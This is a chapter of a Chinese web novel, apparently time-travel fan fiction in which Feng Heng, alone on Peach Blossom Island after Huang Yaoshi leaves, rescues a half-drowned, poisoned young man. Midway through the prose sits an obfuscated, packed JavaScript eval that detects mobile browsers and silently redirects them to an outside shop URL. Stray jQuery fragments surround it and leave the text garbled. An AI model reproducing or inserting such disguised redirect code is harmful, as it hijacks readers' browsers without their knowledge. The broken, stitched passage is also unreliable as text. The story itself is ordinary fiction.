再给她一点时间吧,做出决定并非如此简单的事情,她要顾虑的实在太多了。
桃花岛上,与黄药师每天抬头不见低头见的,又如何能冷静的考虑情感之事呢?却未曾想到,机会来的如此之快。
“离岛?”
“正是,”黄药师执起她的双手,柔声问道,“我有事要回内陆去办,阿蘅在岛内已居住数月,何不与我一同离岛?散散心,见一下新鲜风景也好。”
的确,来到这远离人世的世外桃源固然幸得清静,却也没有机会真正接触南宋风光,若是之前,她肯定会一口答应,兴致勃勃的跟着去了,但是现在,冯蘅迟疑了。
“怎么?阿蘅不想吗?”见她咬着唇一脸为难纠结,黄药师进而解释道,“是担心坐船吗?水程需半天左右,若阿蘅晕船,我可再想想办法……”
“不,倒不是,”冯蘅摇摇头,直视他回答道,“既有事要忙,我此次就不同行了,还是在这里等岛主大人办完事回来吧。”
她其实原本很乐意同行的,但是转念一想,自己何不趁他离开的这段时间好好整理一下自己的思绪?黄药师虽然向她告白,但是她还未明白自己的心意,并没有接受,而在她还未能离开这个世界的这段时间,两人必须是朝夕相处的,趁早整理好自己的心迹,到底是喜欢还是不喜欢,好对彼此有个交代。
她的内心活动如此丰富,可黄药师听来,却是别的意思:这次不去,但下次会陪同自己,而且她会在桃花岛等候自己回来,仿佛是在家的妻子等候外出的夫君。
当下喜不自胜道:“好……另外阿蘅可有需要置办之物?我可顺带捎回来。”
“唔……”想要的东西么?她深思一番,好像还真有。
黄药师独自乘船离开那天,冯蘅去送了行,小舟随着江间波浪沉沉浮浮越驶越远,苍苍渺渺,渺渺茫茫,虽然他一早就让自己回去,海边湿冷,但她还是站了好一会儿了,直到他消失于天际。
哑仆都不在,这个岛内只剩下自己了。
说是整理自己的心意,可她内心的声音却告诉她,自己分明是更渴望回家的。
梦里不知身是客,一晌贪欢。冯蘅有冯蘅的人生,她原本是该生活在另一个时空的普通女生,如今实在过于像一个浪漫而不真实的梦。
所以在第二天,才起了床之后,她迫不及待的就跑往桃花林,前去寻找自己穿越的地点,找到她醒来的那株桃树,保持原来的姿势,靠在树干上假寐,只为一试能不能有穿越效果。心脏砰砰的跳,闭眼的那十几秒里什么念头都有,若能过去自然是好,回不去当然会失落,可真要回去了,那一点点的遗憾也是会有的。
听天由命吧。
睁眼的那一刻,湛蓝的天空和鲜嫩的花叶充满了整个视野。命运告诉她,她还得在这个世界继续生活……
冯蘅站了起来,拍了拍衣衫上的尘土,深呼吸,决定接受现状。回去是暂时不用想了,莫名其妙的穿越,也许某一天也会莫名其妙的回去,不由得她选择,在“无能为力”的这段时间,她就好好的在桃花岛住着吧。
“也好好的和他继续友善相处……”不想做不负责任的人,不想给无法实现的承诺。
这也算整理好了心情,她哼着歌往海边溜达,想去捡捡贝壳海螺摆在房间当装饰。一望无际的大海,海风迎面扑来的咸腥味,冯蘅一路小跑,海天辽阔,隔着十米外的距离,意外眼尖的瞅见沙滩上似乎趴着个人,潮水还在不停的拍打着他的身体,可他昏迷不醒,对此没有任何知觉和反应。
她加速跑了过去。
将那人翻了个身,是个五官端正的青年男子,年龄大约与她相仿,衣衫布料并不粗糙,但现下破损严重,身体被海水泡过不短的时间,冰冷的已经没有一丝体温了,脸上都泛着青色。冯蘅吓得赶紧试探他的鼻息,幸好虽然微弱,但还活着,下意识松了口气。
不知道他经历了什么,但坠海流落桃花岛还未死,倒是命大。被她发现,注定不能袖手旁观。
一个成年男性的重量,还泡过海水,自己怎么把他弄回去呢?
“抱歉,我背不动你,没有工具,只能就这么把你拖回去了,希望你再坚持一下……”
冯蘅做好心里建设工作,便弯下腰拽着他的肩部衣角拖行,可看着他的身体在沙地上摩擦着作响,又心有不忍。犹豫了片刻,还是将他抬起负在自己的背上,一点点一寸寸的挪移回去,因为太沉,移动个几米就得原地休息一会儿。
快到午时才回到湖边住处,而她已经累的两眼冒金花,又饥肠辘辘,将那人放倒在自己雪堂的小床上,她双腿一软,一屁股坐在地上,直喘着粗气,缓了好一会儿,自己身上的衣衫也都被他身上的水珠浸染的湿透了。
救人一命胜造七级浮屠,这事儿倒不曾有怨言。
缓过神来,冯蘅艰难的爬起来,看着他浑身湿漉漉的模样,不知道是该直接盖被子,还是等他身上干一点再盖。
虽然吧,好像是应该替他擦干身体再盖被子了,否则湿气入体似乎情况会更糟糕,可是要她替一个陌生男子擦拭身体,过不去心里那关。思忖了片刻,她去取了盆炭火燃上,放在床边,只留了半扇窗通风,借此提高屋内温度,顺便帮脱了他的外衣,希望靠这热量助他烘干身体及里衣,自己能做的也仅有如此了。
她真的尽力了。
办法还是有用的,等候了一会儿,他里衣有渐干的迹象,不仅如此,她摸了摸他的掌背肌肤,也不似一开始的冰凉,外部增温的法子意外的好用。
“咦?他是还中毒了吗?”替他盖被子的时候,冯蘅近距离瞧着他的唇色,似有些不太对劲。
身体受冻嘴唇会变青,可这人的嘴唇却是泛着紫色,按照自己过去看的影视剧的描述,这是中毒迹象吧?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133631|149989||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
坏了,自己虽然有心救他,可并不通医理呀!擅长医术的黄药师恰巧此时离岛而去。难道她真要见一人丧命于眼前而毫无办法吗?
冷静,冷静!岛主大人虽不在,可他那些药材还在,说不定能找到有用的。
冯蘅急急忙忙的跑到他的炼丹室,一架子的瓶瓶罐罐,什么标签都没有,也不知道那人中的是什么毒,哪一瓶药可以解毒,这一室内毒药也不少,万一错了,会不会反倒害了他?可就这么干等着岛主大人回来,那人怕早已坚持不住而病逝了。
她翻翻找找,靠闻气味找到了一瓶粉色瓷瓶的药丸,气味相当熟悉,如果她没记错的话,自己身体虚弱的那段时间,日常饮食里也有类似的气味,似乎是岛主大人将药丸揉碎了掺进食物里让她服下的。
“既是如此,那大概率是滋补身体之用?即使不能解毒,也该有点作用才是,”冯蘅捏着小瓷瓶,心里已做了大胆的决定,“赌一赌吧!赌我运气好,赌你命不该绝。”
迅速拿着小瓷瓶回到了雪堂卧室,就着温水,将一粒药丸塞进他的口中,帮他服下,等到夜晚不见他情况更糟糕,便放心大胆的继续给他喂药,就按照现代西药中成药的方法,一日两次,一次一粒,想着应该是不多不少。
解毒肯定是不可能这么凑巧的,只要能帮他续命到黄药师回来,就有救了。
那人昏迷不醒,吃不了任何东西,光靠着这小药丸和水,虽每日仍气若游丝,但生命力顽强到即使到了第三天也没有断气,而她照顾了整整三天,房间让了出去,她只能搬了张躺椅到书房,除了每日夜晚去往书房歇息睡觉,几乎是寸步不离的待在卧室,时刻注意着床上人的情况,其中的费心费力,她也终于明白了自己半死不活的那些时日黄药师的不易。
而床上那青年终于醒了。
“这是哪儿?”床上人余毒未清,整个人还迷迷糊糊的,又因几日滴米未进,看上去虚弱的不成样子,所幸还活着,甚至人还醒了过来。
冯蘅闻声迅速来到床沿边上,看着他睁眼都费劲,出声都似艰难的吐气,赶紧又喂了一粒药丸和半杯温水。
“这里是桃花岛,我在海边见你昏迷不醒,就带你回来了,你现在感觉怎么样?”
他虚弱的甚至没有办法立即理解和反应她的话,吃了药丸后半晌才神智恢复清明了些许,半睁着眼看向冯蘅。
“是你救了我?”
“现在不必说这个,你昏迷了几日,现如今能吃下去东西吗?”
“可以,麻烦你了。”
几日不曾饮食,他的消化系统怕也一时之间接受不了困难的食物,所以冯蘅只端了一碗鱼片粥,喂他一口口的吃完。人清醒了,说明身体情况好多了,又吃下了一整晚的粥,终于恢复了一点气力。
“曲冉感谢这位兄台的救命之恩!……”他挣扎着身体就想起身给她行大礼。